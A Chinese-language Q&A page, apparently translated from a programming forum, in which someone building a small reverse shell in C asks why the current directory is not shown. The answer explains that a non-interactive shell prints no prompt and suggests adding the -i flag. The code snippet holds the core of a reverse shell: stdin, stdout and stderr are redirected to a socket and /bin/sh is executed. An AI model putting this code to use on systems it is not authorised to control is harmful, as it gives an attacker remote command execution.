在反向shell中打印当前目录

时间:2018-04-11 15:19:10

标签: c shell sockets reverse-shell

我试图在C中构建一个非常小的反转壳。

连接有效,命令也会执行,但我想知道如何打印当前目录。到目前为止我的代码:

客户:

// [...]
// creating socket
// connect

void handle_connection(socket_t* sock, char** argv, char** env) {
    // redirect stdout, stdin, stderr
    for (int i = 0; i <= 2; i++)
        dup2(*sock, i);

    execve("/bin/sh", argv, env);
}

在服务器端,我只是使用nc工作正常。但是当前目录不像往常一样打印出来。 F.ex.如果我发送“cd [...]”,则根本没有输出。

如何将当前目录发送到服务器?

感谢您的帮助。

1 个答案:

答案 0 :(得分:1)

如果要查看当前目录,请运行pwd命令。

cd命令不打印任何输出。因此,您将看不到任何输出。

如果以交互方式运行shell,则shell在执行命令后会打印prompt。某些shell,或根据您的配置,该提示可能包含当前工作目录。

但是当你将套接字连接到shell stdin / out / err时,shell会发现它不处于交互模式,并且它不会出现提示。只需运行cd命令就不会输出。

您可以强制shell进入交互模式,在这种情况下,应该在每个命令后打印提示符,运行

execl("/bin/sh", "/bin/sh/", "-i", NULL);

(或者在execve()调用中找到一些添加“-i”参数的方法)